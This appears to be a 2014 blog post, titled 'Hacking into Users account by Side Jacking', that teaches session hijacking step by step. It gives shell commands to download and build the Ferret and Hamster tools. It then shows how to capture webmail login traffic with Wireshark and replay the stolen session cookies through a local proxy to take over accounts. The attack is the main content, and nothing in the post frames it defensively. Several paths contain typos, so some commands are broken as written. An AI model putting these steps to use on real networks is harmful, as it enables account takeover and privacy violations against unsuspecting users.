Thursday 13 February 2014

Hacking into Users account by Side Jacking



Sidejacking is the process of stealing someone's access to a website, typically done on wireless public networks. To perform sidejacking attack, the application that victim is using must be in http traffic. In order to sidejack access to a website, the bad actor uses a packet sniffer to obtain an unencrypted cookie that will grant access to a specific application. This will allow attacker  to impersonate the user as the session cookie is already providing access to the web application's content.

1) Installing Ferret and Hamster in Ubuntu linux

sudo su
apt-get install libpcap-dev
create a folder with name sidejack in root directory

mkdir sidejack

cd  sidejack

wget http://www.erratasec.com/erratasec.zip

unzip erratasec.zip

mv hamster hamster2

cd hamster2/build/gcc4

make

cd /sidejack /ferret/build/gcc4

make

cd /sidejack

mkdir hamster

cp /sidejack /ferret/bin/ferret /sidejack /hamster

cp /sidejack /hamster2/bin/favicon.ico /sidejack /hamster

cp /sidejack /hamster2/bin/hamster /sidejack /hamster

cp /sidejack /hamster2/bin/hamster.css /sidejack /hamster

cp /pentest/hamster2/bin/hamster.js /sidejack /hamster
2) Capture login credentials packets of any web login(gmail, hotmail etc) through wireshark(run wireshark in promiscuous mode) and save the file as test.pcap under directory /sidejack /hamster2/bin/
3) cd /sidejack /hamster2/bin/
4) ./ferret -r test.pcap (Reads the mail id and necessary login credentials)
5) ./hamster (Starts hamster proxy server on http://127.0.0.1:1234
6) Configure your browser with proxy server as 127.0.0.1 and port as 1234
7) Type http://hamster in your browser.
8) Click on your IP at the bottom of the page that contains email id or any login name with which you logged into previous page while capturing packet earlier.
9) At the right pane, you can see several cookies, click one of them to receive the logged in session of your earlier page. Now your session is hijacked and you can change anything inside the session.